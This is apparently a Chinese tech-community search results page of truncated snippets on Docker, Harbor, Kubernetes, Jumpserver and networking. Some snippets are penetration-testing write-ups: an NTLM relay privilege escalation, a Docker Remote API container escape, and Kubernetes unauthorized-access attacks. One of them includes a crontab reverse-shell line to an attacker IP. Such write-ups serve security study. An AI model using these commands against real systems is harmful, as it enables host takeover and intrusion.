首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

搭建harbor仓库

安装方式我之前博客里有提到,也可以百度自行搜索 安装: Harbor 可以通过以下两种方式之一安装: 在线安装程序:安装程序Docker集线器下载Harbour映像。...因此,安装程序尺寸非常小。 脱机安装程序:当主机没有Internet连接时,请使用此安装程序。安装程序包含预制图像,因此其大小较大。...但是,由于每个工作人员都会消耗一定数量网络/ CPU / IO资源,请根据主机硬件资源选择该属性值。...默认情况下,它是db_auth,即凭据存储在数据库中。对于LDAP身份验证,请将其设置为ldap_auth。...重要提示:现有的Harbor 实例升级时,必须确保auth_modeharbor.cfg在启动新版本Harbor之前是一样。否则,升级后用户可能无法登录。

1.5K20

docker--docker仓库

/registry \ registry:2 指令参数说明: ‐d:表示在后台运行该容器; ‐p 5000:5000:表示将私有镜像仓库容器内部默认暴露5000端口映射到宿主机5000端 口 ‐...:表示将容器内默认存储位 置/var/lib/registry中数据挂载到宿主机/mnt/registry目录下,这样当容器销毁 后,在容器中/var/lib/registry目录下数据会自动备份到宿主机指定目录...由于做了目录挂载,因此可以在本地该目录下查看: /mnt/registry/docker/registry/v2/repositories 推送:不需要(不安全) 8.3.2 配置私有仓库认证 一...2、推送镜像 $ docker push 192.168.200.141:5000/myhelloworld 送过程中出现错误,信息提示为:no basic auth credentials(即没有通过身份验...证),所以无法进行推送,这也就说明身份验证配置有效。

1.6K20
您找到你想要的搜索结果了吗?
是的
没有找到

From Domain User to Enterprise Admin

文章前言 NTLM中继是一种众所周知技术,主要用于在网络内服务器上建立某种立足点或用于权限提升,这种攻击在没有为LDAP和SMB协议启用签名网络中是可行,此外使用高权限帐户对服务器和工作站进行身份验证域管理员可能会给攻击者提供完整域信息泄露可能性...Enterprise Admin,此技术执行跨协议中继以实现NTLM反射攻击,并将提升NTLM身份验证中继到域控制器以实现权限提升 权限提升 前提条件 具有Domain Administrator特权用户已登录到主机或通过远程桌面登录主机...Step 3:运行以下命令在终端输出时转为后台作业,并通过socat将传入流量转发回RPC侦听器 sudo stty -tostop sudo socat TCP-LISTEN:135,fork,reuseaddr...Step 5:在攻击主机powershell端)执行Remote Potato,这里两个参数分别为用于接收经过身份验证呼叫主机(攻击主机IP地址)IP地址和RPC端口 https://github.com...之后可以检索到NTLM type 3 AUTH身份验证消息,然后将其中继到DC,以便通过LDAP进行身份验证,NTLM type 3 AUTH消息包含客户端对服务器质询响应、域、用户名和主机信息: ?

51410

攻防演练-实战中外网突破

这些供应链不仅暴露在外,而且由于复杂关系,使得对它们监控和管理变得更为困难。因此,攻击团队通常会选择供应链着手,以一种迂回方式绕过目标单位强大防御体系,获得对目标单位控制权限。...访问/v2/_catalog接口即可查看全部仓库内容 https://github.com/Soufaker/docker_v2_catalog 利用上述工具可直接下载镜像 2.3.2、 Docker...Remote API未授权访问 为了管理容器集群,Docker允许Daemon作为后台守护进程执行通过管理接口发送Docker命令,使用参数-H 0.0.0.0:2375启动Docker Daemon...在这种情况下,2375端口被作为非加密端口暴露出来,并且不存在任何形式身份验证,攻击者可以直接使用Docker命令连接到Docker Daemon,并对容器进行直接操作,配合根目录挂载即可实现容器逃逸...#查看容器 docker -H tcp://:2375 ps -a #挂载宿主机根目录到容器内mnt目录 docker -H tcp://:2375 run -it

40930

CentOS使用Docker搭建开发环境

分配一个伪终端并绑定到容器标准输入上 -p : 端口映射 格式为[主机端口:容器端口] -d : 后台模式运行 -name : 给容器起一个名字 -v:挂载主机目录 #删除指定名称镜像 docker...ls // 移除指定网络 docker network rm default_network 安装 MongoDB docker hub 下载 mongodb 官方镜像 docker pull...mongo 创建 mongodb 容器 docker run --name my-mongo -p 27017:27017 -d mongo --auth // 如果加需要验证就加--auth,...docker images OK image.png 启动镜像 docker run -i -t node /bin/bash 将 docker 3000 端口映射到 tcp 3000 并分配给...基于 docker run -d --name nginx nginx 方法启动 nginx 后,docker 容器并没有对外暴露访问 nginx 端口,即无法通过当前主机外部浏览器器访问 nginx

59130

攻防演练-实战中外网突破

这些供应链不仅暴露在外,而且由于复杂关系,使得对它们监控和管理变得更为困难。因此,攻击团队通常会选择供应链着手,以一种迂回方式绕过目标单位强大防御体系,获得对目标单位控制权限。...访问/v2/_catalog接口即可查看全部仓库内容 https://github.com/Soufaker/docker_v2_catalog 利用上述工具可直接下载镜像 2.3.2、 Docker...Remote API未授权访问 为了管理容器集群,Docker允许Daemon作为后台守护进程执行通过管理接口发送Docker命令,使用参数-H 0.0.0.0:2375启动Docker Daemon...在这种情况下,2375端口被作为非加密端口暴露出来,并且不存在任何形式身份验证,攻击者可以直接使用Docker命令连接到Docker Daemon,并对容器进行直接操作,配合根目录挂载即可实现容器逃逸...#查看容器 docker -H tcp://:2375 ps -a #挂载宿主机根目录到容器内mnt目录 docker -H tcp://:2375 run -it

43120

Docker之常用命令(二)

-t 在新容器内指定一个伪终端 # -i 允许对容器内标准输入进行交互 # -d 让容器在后台运行 # -P 将容器内部使用网络端口随机映射到主机高端口 # -p...指定绑定端口 -p [127.0.0.1:]5001:5000[ /tcp|udp](容器中5000绑定到主机5001) # --name 创建容器时命名 # -v $PWD/www...:/www:将主机中当前目录下www挂载到容器/www docker run -i -t ubuntu:15.10 /bin/bash // 进入容器伪终端,退出后容器将停止运行 docker...// 服务器获取实时时间 # -f 根据条件过滤时间(-f "image"="mysql:5.6") # --since 指定时间戳后显示所有事件(docker events -...diff // 检查容器里文件结构更改 docker loginout // 登出 docker login // 登录到一个docker镜像创库,若未指定镜像创库地址则默认为官方创库

54110

2.Docker学习之基础使用

答: 虚悬镜像(dangling image),在使用docker images 查看镜像既没有仓库名,也没有标签均为 产生原因:由于新旧镜像同名,旧镜像名称被取消,从而出现仓库名、标签均为 镜像...#MASQUERADE 跟传统 SNAT 好处是它能动态网卡获取地址。...-p, --publish=[] 映射容器端口到本地主机。 --service-ports 配置服务端口并映射到本地主机。 -T 不分配伪 tty,意味着依赖 tty 指令将无法运行。...web: #指定服务镜像名称或镜像ID(先从本地拉取,如果没有找到则从Docker Hub获取镜像) image: ubuntu/ubuntu:18.04 #服务除了可以基于指定镜像...#打开该选项容器之间,以及容器和宿主机系统之间可以通过进程 ID 来相互访问和操作。

2.2K20

面试官都震惊,你这网络基础可以啊!

协议号:进程需要封装,解析数据报数据格式 DNS协议: 作用:域名转IP 主机/路由器:都存在DNS缓存 域名查询方式:上图树形结构从下往上查找(缓存,域名服务器)。...http://主机3:80) 2.主机1查找本机ARP缓存表,根据ARP协议,找到目的MAC 3.数据报由主机1,发送到集线器(数据报中源MAC(主机1),目的MAC(主机3)真实数据报 4...MAC 6.主机1收到主机3返回数据(IP,MAC)更新自己ARP缓存表 7.主机1发送真实数据到主机3 注意:使用集线器缺陷 网络冲突,这样构成网络区域叫冲突域/碰撞域(例如,房间里有多个人说话...这个概念叫做 全双工 (3)粘包问题 在TCP协议头中, 没有如同UDP一样 “报文长度” 这样字段, 但是有一个序号这样字段 站在传输层角度看,报文是一个一个按照顺序排序好放在缓冲区,但是站在应用层角度看...400:客户端请求语法错误,服务端无法理解 405:映射找到了,但是客户端请求方法和服务端提供请求方法不匹配 500:服务端内部报错 403:无权限 输入一个URL到浏览器中,会发生什么 1

39820

Jumpserver简介,部署及使用

docker/daemon.json { "registry-mirrors": ["https://registry.docker-cn.com"] } # 启动Docker后台服务 systemctl...终端设置 密码认证”和”密钥认证”是 SSH 连接跳板机时所使用认证方式(都不选会造成无法使用 SSH 方式连接登录跳板机, 不影响 web 登录) “Telnet成功正则表达式” telnet设备登陆失败需要设置...如果资产不能正常连接,请检查管理用户用户名和密钥是否正确以及该管理用户是否能使用 SSH Jumpserver 主机正确登录到资产主机上。...我在操作时也有连不上情况,我情况是更改配置文件 或者更改了其他东西,只重启了jumpserver进程,而没有全部重启,比如koko ,Guacamole。都要重启。 ?...授权后,终端连接过去才可以查看到资产 ? 会话管理 Web终端 Web 终端是资产使用界面, 管理员和用户都是从这里登录到资产上, 执行操作。

2.8K62

k8simagePullSecrets如何生成及使用

Error response from daemon: Get https://192.168.10.122/v2/: dial tcp 192.168.10.122:443: connect: connection... refused 注意:出现这个报错,是由于harbor为了安全性考虑,默认是需要https证书支持 但是我们可以通过一个简单办法解决 修改 /etc/docker/daemon.json 文件 vim...": "Docker-Client/19.03.1 (linux)"     } } 注意:如果您使用Docker凭据存储,您将看不到该auth条目,而是看到一个以存储名称为值credsstore条目...基于现有Docker凭据创建secret kubernetes集群使用docker注册表类型秘密对容器注册表进行身份验证,以获取私有映像。.../19.03.1 (linux)"     } } 要了解刚刚创建regcred秘密内容,请以yaml格式查看秘密开始: kubectl get secret harborsecret --output

4.7K20

《网络是怎么样连接》读书笔记 - 汇总篇

DNS查找过程是自下而上找最近DNS然后自上而下找根域向下查找,也就是先找最近dns找,没有找到就需要直接根域进行查找,一路通过层级下探找到最终ip,这也是为什么访问国外ip慢原因,因为路由链路实在是很长...IP 协议头部IP类似快递上单号,所以实际上IP模块是无法决定自己选择正确地址了,哪怕应用程序通过TCP告诉IP发地址式是一个错误地址,IP也无法自行修正只能照做。...FCS:检查包传输过程中因噪声导致波形紊乱、数据错误,它是一串 32 比特序列,是通过一个公式对包中从头到尾 所有内容进行计算而得出来响应内容传输IP给TCP当服务器接收到网络包之后,首先协议栈会判断以太网头部以太类型...全双工协议全双工协议存在于交换机当中,集线器不具备这样特点,集线器由于多个信号传入会导致信号碰撞是半双工协议。...最后这样就实现了“可进不可出”效果,根据第三章讨论地址转换工作原理,当使用地址转换时,默认状态下是无法互联网访问公司内网,因此我们不需要再设置一条包过滤规 则来阻止互联网访问公司内网。

89640

关于 Ceph 存储集群配置一些笔记

Provider 同步 同步总是在新 MON 加入集群时发生,每个 MON 定期检查相邻监视器是否有最新版本集群映射,如果一个MON没有集群映射最新版本,那么它必须同步并获取它 要建立仲裁,集群中大多数...支持对运行中集群添加或移除mon,集群配置文件定义了用于集群操作MON主机IP地址和端口,rnon_host 设置可以包含IP地址或DNS名称,cephadm 工具无法更新集群配置文件,定义一个策略来保持集群配置文件在集群节点之间同步...ceph auth 命令用于管理 Ceph 集群中 Cephx 认证。它允许您创建和管理密钥环文件,其中包含用于身份验证共享密钥。...密钥环文件中删除密钥: 您可以使用 ceph auth del 命令密钥环文件中删除密钥。...ceph auth 命令允许您创建和管理 密钥环文件,其中包含用于身份验证共享密钥。

82650

攻击本地主机漏洞(下)

图10-11注册表中未引用服务路径 权限较低用户将无法修改服务;但是,用户仍然可以搜索服务。我们可以使用WMIC命令查找具有无引号可执行路径服务。...但是,如果低权限账户或没有启动易受攻击服务权限账户尝试启动服务,则会出现拒绝访问错误,如图10-16所示。...通过身份验证后,您可以浏览到http://www.internal.Web.org:8080袭击中。实例org主机,您连接将通过SSH转发隧道(即端口8080/tcp)连接到内部Web服务器。...使用泄露用户密钥,我们可以尝试登录到其他三台无法使用密码进行身份验证主机。这可以告诉我们用户是否有不同本地密码,但使用相同SSH密钥进行身份验证。...对于PowerShell v2或更高版本,您可以使用Invoke Command cmdlet对远程系统执行命令,或使用Enter-PsSession获取另一台运行WinRM远程主机交互式PowerShell

3.1K10

构建一个高可用及自动发现 Docker 基础架构

用户在访问业务服务时,完全没有感知后端APP上线、下线、切换及迁移,达到了自动发现、具备高可用等特点。详细架构图见图1-1。...3、 Haproxy介绍 HAProxy是提供高可用性、负载均衡以及基于TCP和HTTP应用代理,支持虚拟主机,它是免费、快速并且可靠一种解决方案。...安装 SSH终端登录192.168.1.22服务器,执行以下命令: # yum -y install docker-io # service docker start # chkconfig docker...由于etcd是通过REST-API方式进行交互,常见操作如下: 设置(set) key操作 # curl -L http://192.168.1.21:4001/v2/keys/mykey -XPUT...3.1、SHELL实现方法 实现原理是通过获取Docker run ***”命令输出Container ID,通过“docker inspect Container ID”得到详细容器信息,分析出容器服务映射外部端口及容器名称

2.9K10

kaliEttercap(0.8.3.1)GUI界面中文化

不能再命令行运行这个插件,因为中毒还没有开始,必须菜单正确启动它。 dns_spoof发送欺骗DNS答复 这个插件拦截DNS查询并回复一个欺骗结果。...其他一些插件(如greu-relay)需要一个未使用局域网IP地址来创建一个“假”主机。在没有dhcp服务器未知LAN中获取IP地址也很有用。...您可以使用find_conn确定LANIP地址,然后查找IP。你必须建立主机列表才能使用这个插件,这样你就不能在非恶意模式下使用它。...它将使用与自己mac 地址来毒害所有尝试与它连接受害者 arp 缓存。这样主机无法联系其他主机,因为数据包永远无法到达 可以指定所有主机或仅指定一个组。...(它也可能由于许多其他原因而失败)。所以必须处于连接“中间”才能成功使用它。 pptp_reneg 强制在现有 pptp 隧道上重新协商。您可以强制重新协商以获取已发送密码。

1.2K20

浅析K8S各种未授权攻击方法

-e "* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/1234 0>&1" >> /mnt/etc/crontab 或者通过chroot来获取终端.../kubectl --insecure-skip-tls-verify -s https://ip:6443 --namespace=default exec -it test-4444 bash 可以看到已经通过挂在宿主机根目录到...TCP端口2375,绑定在0.0.0.0上,如果我们使用HTTP方式访问会返回404 利用思路:通过挂在宿主机目录,写定时任务获取SHELL,从而逃逸 docker ps -a | grep...这些是绑定到端口(和地址)端口,我们向其发送 TCP 请求并从中获取响应。 另一种类型 Socket 是 Unix Socket,这些套接字用于IPC(进程间通信)。...Docker 守护进程可以通过三种不同类型 Socket 监听 Docker Engine API 请求:unix, tcp, and fd.

70420

浅析K8S各种未授权攻击方法

/crontab 或者通过chroot来获取终端 image.png 2、6443端口-system:anonymous错误配置 如果不小心,将”system:anonymous”用户绑定到”cluster-admin...可以看到已经通过挂在宿主机根目录到host目录,通过chroot来到宿主机,那么也可以看到我们root目录下metarget,创建一个文件看看 image.png 成功了,不过如果有k8s大佬知道这是为什么...TCP端口2375,绑定在0.0.0.0上,如果我们使用HTTP方式访问会返回404 利用思路:通过挂在宿主机目录,写定时任务获取SHELL,从而逃逸 image.png image.png...这些是绑定到端口(和地址)端口,我们向其发送 TCP 请求并从中获取响应。 另一种类型 Socket 是 Unix Socket,这些套接字用于IPC(进程间通信)。...Docker 守护进程可以通过三种不同类型 Socket 监听 Docker Engine API 请求:unix, tcp, and fd.

5.8K20
领券